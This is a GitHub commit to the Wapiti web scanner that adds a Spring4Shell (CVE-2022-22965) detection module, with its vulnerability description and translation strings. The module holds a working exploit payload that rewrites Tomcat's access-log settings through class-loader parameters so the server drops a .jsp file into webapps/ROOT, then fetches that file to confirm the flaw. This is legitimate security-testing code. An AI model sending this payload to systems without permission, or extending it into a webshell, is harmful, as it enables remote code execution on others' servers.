Skip to content

Commit

Permalink
Add new spring module to detect Spring4Shell
Browse files Browse the repository at this point in the history
  • Loading branch information
bretfourbe committed Mar 31, 2022
1 parent 0a886b3 commit 1f885dc
Show file tree
Hide file tree
Showing 5 changed files with 165 additions and 0 deletions.
1 change: 1 addition & 0 deletions wapitiCore/attack/attack.py
Expand Up @@ -54,6 +54,7 @@
"permanentxss",
"redirect",
"shellshock",
"spring4shell",
"sql",
"ssl",
"ssrf",
Expand Down
110 changes: 110 additions & 0 deletions wapitiCore/attack/mod_spring4shell.py
@@ -0,0 +1,110 @@
import uuid
import asyncio

from httpx import RequestError
from wapitiCore.attack.attack import Attack
from wapitiCore.definitions.spring import NAME, WSTG_CODE
from wapitiCore.language.vulnerability import _
from wapitiCore.main.log import log_red, logging
from wapitiCore.net.web import Request


class ModuleSpring4Shell(Attack):
"""
Detect the Spring4Shell vulnerability
"""

name = "spring4shell"
do_get = True
do_post = True


async def must_attack(self, request: Request):
if self.finished is True:
return False
return True


async def _attack_spring4shell_url(self, request_url: str):
payload_unique_id = uuid.uuid4()
payload = self._generate_payload(payload_unique_id)

malicious_request = Request(
path=request_url,
method="POST",
post_params=payload,
)

try:
logging.info(malicious_request)
await self.crawler.async_send(malicious_request, follow_redirects=True)
except RequestError:
self.network_errors += 1
return
await self._verify_spring4shell_vulnerability(malicious_request, payload_unique_id)


async def attack(self, request: Request):

await self._attack_spring4shell_url(request.url)


async def _verify_spring4shell_vulnerability(self, request: Request, param_uuid: uuid.UUID):
if not await self._verify_spring4shell_file(str(param_uuid)):
return

await self.add_vuln_critical(
category=NAME,
request=request,
info=_("URL {0} seems vulnerable to Spring4Shell attack") \
.format(request.url),
parameter="",
wstg=WSTG_CODE
)

log_red("---")
log_red(
_("URL {0} seems vulnerable to Spring4Shell attack"),
request.url
)
log_red(request.http_repr())
log_red("---")


async def _verify_spring4shell_file(self, param_uuid: str) -> bool:
root_url = await self.persister.get_root_url()
spring4shell_file_url = root_url + "spring4shell-wapiti3.jsp"

spring4shell_file_request = Request(
path=spring4shell_file_url,
method="GET",
)

# need to wait here and make a first request
await asyncio.sleep(10)
await self.crawler.async_send(spring4shell_file_request, follow_redirects=False)

logging.info(spring4shell_file_request)

# need to wait again and then we can check if file was created
await asyncio.sleep(10)
response = await self.crawler.async_send(spring4shell_file_request, follow_redirects=False)


if response.is_success and param_uuid in response.content:
self.finished = True
return True

return False

@staticmethod
def _generate_payload(unique_id: uuid.UUID) -> str:
log_pattern = ["class.module.classLoader.resources.context.parent.pipeline.first.pattern",
f"spring4shell-wapiti3-{unique_id}"]
log_file_suffix = ["class.module.classLoader.resources.context.parent.pipeline.first.suffix",".jsp"]
log_file_dir = ["class.module.classLoader.resources.context.parent.pipeline.first.directory","webapps/ROOT"]
log_file_prefix = ["class.module.classLoader.resources.context.parent.pipeline.first.prefix",
"spring4shell-wapiti3"]
log_file_date_format = ["class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat",""]

return [log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format]
46 changes: 46 additions & 0 deletions wapitiCore/definitions/spring.py
@@ -0,0 +1,46 @@
from wapitiCore.language.language import _

TYPE = "vulnerability"

NAME = _("Spring4Shell")
SHORT_NAME = NAME

WSTG_CODE = ["WSTG-INPV-11"]

DESCRIPTION = _(
"A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE)"
"via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment."
"If the application is deployed as a Spring Boot executable jar, i.e. the default,"
"it is not vulnerable to the exploit. However, the nature of the vulnerability is more general,"
"and there may be other ways to exploit it."
)

SOLUTION = _(
"Users of affected versions should apply the following mitigation: 5.3.x users should upgrade to 5.3.18+,"
"5.2.x users should upgrade to 5.2.20+. No other steps are necessary."
"There are other mitigation steps for applications that cannot upgrade to the above versions."
)

REFERENCES = [
{
"title": "CYBERWATCH: Spring4Shell CVE-2022-22965",
"url": (
"https://cyberwatch.fr/cve/spring4shell-tout-savoir-sur-la-vulnerabilite-0-day-liee-a-java-spring/"
)
},
{
"title": "VMWARE: CVE-2022-22965 Detail",
"url": "https://tanzu.vmware.com/security/cve-2022-22965"
},
{
"title": "MITRE: CVE-2022-22965",
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965"
},
{
"title": "OWASP: Code Injection",
"url": (
"https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/"
"07-Input_Validation_Testing/11-Testing_for_Code_Injection"
)
}
]
4 changes: 4 additions & 0 deletions wapitiCore/language_sources/en.po
Expand Up @@ -169,6 +169,10 @@ msgstr "URL {0} seems vulnerable to Log4Shell attack by using the {1} {2}"
msgid "URL {0} seems vulnerable to Log4Shell attack"
msgstr "URL {0} seems vulnerable to Log4Shell attack"

#, python-brace-format
msgid "URL {0} seems vulnerable to Spring4Shell attack"
msgstr "URL {0} seems vulnerable to Spring4Shell attack"

msgid "Error: {} is not a valid domain name"
msgstr "Error: {} is not a valid domain name"

Expand Down
4 changes: 4 additions & 0 deletions wapitiCore/language_sources/fr.po
Expand Up @@ -170,6 +170,10 @@ msgstr ""
msgid "URL {0} seems vulnerable to Log4Shell attack"
msgstr "L'URL {0} semble vulnérable à l'attaque Log4Shell"

#, python-brace-format
msgid "URL {0} seems vulnerable to Spring4Shell attack"
msgstr "L'URL {0} semble vulnérable à l'attaque Spring4Shell"

msgid "Error: {} is not a valid domain name"
msgstr "Erreur: {} n'est pas un nom de domaine valide"

Expand Down

0 comments on commit 1f885dc

Please sign in to comment.